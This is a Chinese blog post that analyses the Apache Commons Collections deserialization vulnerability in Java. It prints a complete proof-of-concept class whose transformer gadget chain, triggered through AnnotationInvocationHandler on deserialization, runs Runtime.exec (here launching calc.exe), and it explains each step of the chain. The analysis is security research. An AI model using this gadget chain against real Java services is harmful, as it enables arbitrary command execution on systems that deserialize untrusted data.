首页 > 其他分享 >Apache Commons Collections反序列化漏洞

Apache Commons Collections反序列化漏洞

时间:2024-05-08 20:24:53浏览次数:26  
标签:Runtime Object transform Collections Apache new 序列化 方法 class

目录

Apache Commons Collections 的反序列化漏洞在2015年被曝光,引起了广泛的关注,算是 java 历史上最出名同时也是最具有代表性的反序列化漏洞。

复现

环境准备

POC

直接看其他师傅们的POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class POC4 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");

        Map outerMap = TransformedMap.decorate(innerMap,null,chain);

        // 通过反射机制实例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

image

上面的复现使用的 payload 经过反序列化过后会执行:Runtime.getRuntime().exec("calc.exe"),造成了本地命令执行,接下来就一步步探究这个漏洞是如何产生的。

漏洞原理分析

构造反射链

看到这个POC,首先关注 InvokerTransformer 这个对象,它是执行恶意代码的主要问题所在。首先看看这个类的构造函数,其中 this.iMethodName 是方法名, this.iParamTypes 是参数类型,this.iArgs 是参数的值。

image

它的 transform 方法很明显调用了 java 的反射机制,传入 input 是类名,利用反射拿到类名和方法名。方法的参数和类型是我们可以通过构造函数直接传入的。现在只要 input 也是可控的,那我们就可以执行任意对象的任意方法。

image

我们的目标是达到远程执行命令的效果,所以现在就是想办法直接传入 Runtime 类的实例对象。

巧的是,有个类 ChainedTransformer,该类中也有一个 transform 方法:

image

该类的构造函数接收一个 Transformer 类型的数组,并且在 transform 方法中会遍历这个数组,并调用数组中的每一个成员的 transform 方法。

还有一个类 ConstantTransformer,它同样有一个 transform 方法,就是返回 iConstant,而 this.iConstant 又来自它的构造函数。
image

所以我们实例化 ConstantTransformer 时传入一个 Runtime.class 返回的也是 Runtime.class。

到这里已经介绍了三个 transfromer 类和三个 transform 方法:

InvokerTransformer ConstantTransformer ChainedTransformer
构造函数接受三个参数 构造函数接受一个参数 构造函数接受一个TransFormer类型的数组
transform方法通过反射可以执行一个对象的任意方法 transform返回构造函数传入的参数 transform方法执行构造函数传入数组的每一个成员的transform方法

现在尝试把这几个 transformer 组合起来构造一个执行链:

// TransFormer 类型的数组
Transformer[] transformers_exec = new Transformer[]{
	// 传入 Runtime 类
	new ConstantTransformer(Runtime.class),
	// 反射调用 getMethod 方法,然后 getMethod 方法再反射调用 getRuntime 方法,返回 Runtime.getRuntime() 方法
	new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
	// 反射调用 invoke 方法,然后反射执行 Runtime.getRuntime() 方法,返回 Runtime 实例化对象
	new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
	// 反射调用 exec 方法
	new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers_exec);

这样一个反射链条就构造好了,给一个初始的 object,然后输出作为下一个输入,从而实现链式调用。

大致过程如下:

  1. ChianedTransformer 的 transform 是一个循环调用该类里面的 transformer 的 transform 方法

  2. 首先调用 ConstantTransformer("java.Runtime")

  3. 第一次调用 InvokerTransformer 对象 getMethod("getRuntime",null) 方法,参数为 ("java.Runtime") 会返回一个Runtime.getRuntime()方法,但还没有执行

  4. 第二次调用 InvokerTransformer 对象 Invoke(null,null) 方法,参数为 Runtime.getRuntime(),那么会返回一个 Runtime 对象实例

  5. 第三次调用 InvokerTransformer 对象 exec("clac.exe") 方法,参数为一个 Runtime 的对象实例,调用了对象的方法,会执行弹出计算器操作

反射链就构造完毕了,现在要做的就是怎么触发 ChainedTransformer 的 transform 方法。

TransformedMap利用链

存在一些类,如 TransformedMapAnnotationInvocationHandler,重写 readObject() 方法,在反序列化时会自动执行这些方法,来达到触发 transform 方法的目的。

在 TransformedMap 类中的三个方法 transformKeytransformValuecheckSetValue 都会触发 transform 方法。

现在找到了能够触发 transform 的地方,但是这还是不能在反序列化的时候自动触发。在反序列化只会自动触发 readObject() 方法,所以现在需要找一个类重写了 readObject()。

在 TransformedMap 里的每个 entryset 在调用 setValue 方法时会自动调用 TransformedMap 类的 checkSetValue 方法。

那么就要寻找这样一个类:这个类的 readObject 方法中对某个 Map 类型的属性的 entry 进行了 setValue 操作。

恰好就有这个类 AbstractInputCheckedMapDecorator, 调用 java 的自带类 AnnotationInvocationHandler 中重写的 readObject 方法,该方法调用时会先将 map 转为 Map.entry,然后执行 setvalue 操作。

image

执行 setValue() 方法,就会到 checkSetValue() 方法:

image

到 checkSetValue() 方法,就会执行 transform 方法,从而实现整个利用链。

image

综上所述整个调用链:

  1. ->ObjectInputStream.readObject()

  2. ->AnnotationInvocationHandler.readObject()

  3. ->TransformedMap.entrySet().iterator().next().setValue()

  4. ->TransformedMap.checkSetValue()

  5. ->TransformedMap.transform()

  6. ->ChainedTransformer.transform()

对于 jdk 1.8 来说,AnnotationInvocationHandler 类中的这个关键的触发点 setValue 发生了改变。所以就无法利用了。

jdk 1.8 有一个 LazyMap 利用链。

参考文章:
https://esonhugh.gitbook.io/javasec/3.-apache-commonscollections-zhong-de-fan-xu-lie-hua
https://xz.aliyun.com/t/8500
https://xz.aliyun.com/t/4711


若有错误,欢迎指正!o( ̄▽ ̄)ブ

标签:Runtime,Object,transform,Collections,Apache,new,序列化,方法,class
From: https://www.cnblogs.com/smileleooo/p/18149183

相关文章

  • org.apache.catalina.LifecycleException: Protocol handler start failed
    出现问题org.apache.catalina.LifecycleException:Protocolhandlerstartfailed,是因为端口号被占用1、按键盘上windows+R,输入CMD(不区分大小写)2、输入netstat-ano回车,查看所有进程(注意”-“前面有空格)3、输入netstat-ano|findstr"端口号"(注意”-“前面有空格)4、输入ta......
  • Apache DolphinScheduler 3.3.0 版本重磅更新提前看!
    ApacheDolphinScheduler3.3.0版本终于要在万众期待中发布啦!本次发版将有重大功能更新,包括架构上的调整。为了让广大用户提前尝鲜,社区特别准备了直播活动提前揭秘3.3.0版本中的重要更新,到时候你将会了解到这些信息:3.3.0版本的工作流引擎改进任务执行流程的优化架构模块上的......
  • Apache RocketMQ ACL 2.0 全新升级
    作者:徒钟引言RocketMQ作为一款流行的分布式消息中间件,被广泛应用于各种大型分布式系统和微服务中,承担着异步通信、系统解耦、削峰填谷和消息通知等重要的角色。随着技术的演进和业务规模的扩大,安全相关的挑战日益突出,消息系统的访问控制也变得尤为重要。然而,RocketMQ现有的AC......
  • python教程6.3-json序列化
    序列化:dumps,编码,将python类型转成json对象反序列化:loads,解码,将json对象转成python对象pickle模块提供了四个功能:dumps、loads、dump、load(前2个操作变量,后2个操作文件)jsonjson模块也提供了四个功能:dumps、dump、loads、load,⽤法跟pickle⼀致。(前2个操作变量,后2个操作文件)......
  • 文档提取工具 apache/tika
    docker安装拉取镜像dockerpullapache/tika:latest运行容器dockerrun-itd-p9998:9998--nametikaapache/tika:latest使用命令行模式curl-s-XPUT-T./test.txtlocalhost:9998/tika--header'Accept:text/plain'golangpackagemainimport( "contex......
  • Fastjson反序列化漏洞
    目录漏洞原理复现Fastjson1.2.24Fastjson1.2.47漏洞分析Fastjson是阿里巴巴开源的一个Java库,用于将Java对象转换为JSON字符串(序列化),以及将JSON字符串转换为Java对象(反序列化),漏洞编号CVE-2017-18349。漏洞原理Fastjson引入了autoType功能,允许在反序列化过程中通过@type......
  • 【Python-Json】自定义类输入json序列化、json的读取与写入
    AI问答Questionjson支持numpy数组么Answer不幸的是,标准的JSON格式不直接支持NumPy数组.JSON是一种用于存储和交换数据的文本格式,它有限的数据类型只包括对象(object)、数组(array)、数字(number)、字符串(string)、布尔值(true/false)、空值(null)等.因此,无法直接将......
  • web server apache tomcat11-33-CDI
    前言整理这个官方翻译的系列,原因是网上大部分的tomcat版本比较旧,此版本为v11最新的版本。开源项目从零手写实现tomcatminicat别称【嗅虎】心有猛虎,轻嗅蔷薇。系列文章webserverapachetomcat11-01-官方文档入门介绍webserverapachetomcat11-02-setup启动web......
  • Apache Log4j2远程命令执行漏洞
    目录漏洞原理复现反弹shell漏洞修复AApacheLog4j2是一个基于Java的日志记录工具,被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。Log4j2远程代码执行漏洞编号CVE-2021-44228。漏洞原理漏洞主要由于Log4j2在处理程序日志记录时存在JNDI入......
  • 使用collections中的namedtuple来处理数据
    前言tuple在python中是一种不可变的数据结构,和list这种可变的数据结构比较,两者都可以使用索引来读取数值,但是tuple不可变动,因此其不能修改其中的值。示例:tuple适合存储不需要频繁变动的数据,但是在使用index来读取tuple中的item值时,就会存在问题,问题在于如果item太多时,甚至开发......